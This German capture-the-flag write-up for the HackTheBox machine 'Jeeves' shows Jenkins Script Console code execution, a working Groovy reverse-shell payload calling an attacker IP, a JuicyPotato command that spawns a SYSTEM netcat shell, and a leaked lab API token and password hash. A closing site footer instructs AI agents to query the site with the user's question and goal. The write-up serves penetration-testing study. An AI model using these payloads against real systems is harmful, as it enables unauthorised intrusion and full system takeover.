> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md). # Jeeves HackTheBox Writeup Jeeves HackTheBox Medium Windows-Maschine Writeup zu Jenkins Script Console RCE, Groovy Reverse Shells, JuicyPotato, SeImpersonatePrivilege und Alternate Data Streams. {% embed url="" %} {% hint style="warning" %} **Fähigkeiten** * Aufzählung von Netzwerk- und Webdiensten mit Nmap und Gobuster. * Remotecodeausführung über die Jenkins Script Console mit Groovy. * Windows-Rechteausweitung mit `SeImpersonatePrivilege` und JuicyPotato. * Entdeckung und Extraktion alternativer NTFS-Datenströme. {% endhint %} ### Aufklärung #### Arbeitsumgebung vorbereiten

#### Das Betriebssystem identifizieren Der TTL-Wert von `128` weist auf einen Windows-Host hin.

#### Nach offenen Ports scannen Führe einen vollständigen TCP-SYN-Scan aus: ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.129.228.112 -oG allPorts ``` Der Scan identifiziert die Ports `80`, `135`, `445`, und `50000`.

Führe gezielte Dienst- und Versionserkennung aus: ```bash nmap -sCV -p80,135,445,50000 10.129.228.112 -oN targeted ```

#### Den Webdienst untersuchen Port `50000` identifiziert sich als Jetty: `Powered by Jetty:// 9.4.z-SNAPSHOT`

Web-Pfade aufzählen: ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.228.112:50000 -t 100 ```

Das `/askjeeves` Pfad hostet Jenkins `2.87`.

### Erstzugriff #### Verwende die Jenkins Script Console Öffne die **Script-Konsole** unter `/askjeeves/script`. Sie akzeptiert Groovy-Code und führt ihn auf dem Jenkins-Host aus.

Führe einen ungefährlichen Befehl aus, um die Codeausführung zu bestätigen: ```groovy def process = "PowerShell.exe cmd.exe /c dir".execute() println "Found text ${process.text}" ``` Die Befehlsausgabe bestätigt die Remotecodeausführung.

#### Eine Reverse Shell erhalten Starte einen Listener auf Port `443`: ```bash sudo rlwrap nc -nvlp 443 ``` Führe diesen Groovy-Payload in der Script Console aus. Ersetze die Callback-Adresse und den Port nach Bedarf. {% code overflow="wrap" %} ```groovy Thread.start { String host="10.10.15.2"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); } ``` {% endcode %} Der Listener erhält eine Shell als `kohsuke`.

#### Jenkins-Anmeldedaten prüfen Die Jenkins-Konfiguration enthält ein verschlüsseltes API-Token: {% code overflow="wrap" %} ```bash AQAAABAAAAAwID3cR3pyZaEkaDPU25Z0S+nrU8+gDgB0JEWORJ5L1P2T+zXc/tSs2IVn1ugWLaui54D6yYki4vhXQtGhqUSeFw== ``` {% endcode %} Sie speichert außerdem das Administratorpasswort als BCrypt-Hash: {% code overflow="wrap" %} ```bash $2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO ``` {% endcode %}

#### Die User-Flag holen {% code overflow="wrap" %} ```bash type C:\Users\kohsuke\Desktop\user.txt ``` {% endcode %}

### Privilegieneskalation #### Die erforderlichen Tools übertragen Hoste die Dateien von der Angreifer-Maschine aus: {% code overflow="wrap" %} ```bash smbserver.py share $(pwd) -smb2support ``` {% endcode %} Kopiere `nc.exe` und JuicyPotato auf das Ziel: {% code overflow="wrap" %} ```bash copy \\10.10.15.2\share\nc.exe C:\Users\kohsuke\Downloads\nc.exe ``` {% endcode %} ```bash copy \\10.10.15.2\share\JuicyPotato.exe C:\Users\kohsuke\Downloads\JuicyPotato.exe ```

#### Ausnutzen `SeImpersonatePrivilege` Starte einen Listener für die privilegierte Shell: {% code overflow="wrap" %} ```bash rlwrap nc -nlvp 4444 ``` {% endcode %} Führe JuicyPotato aus, um `nc.exe` als `NT AUTHORITY\SYSTEM`: {% code overflow="wrap" %} ```bash .\JuicyPotato.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/kohsuke/Downloads/nc.exe -e cmd 10.10.15.2 4444" ``` {% endcode %} Der Callback läuft als `NT AUTHORITY\SYSTEM`.

### Root-Flag Liste alternative Datenströme im Desktop-Verzeichnis des Administrators auf: ```cmd cd C:\Users\Administrator\Desktop dir /r ``` Die Ausgabe zeigt die Flag in dem `hm.txt:root.txt:$DATA` Stream. Lies sie direkt aus: ```bash more < hm.txt:root.txt:$DATA ``` Damit ist die Maschine abgeschlossen als `NT AUTHORITY\SYSTEM`.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.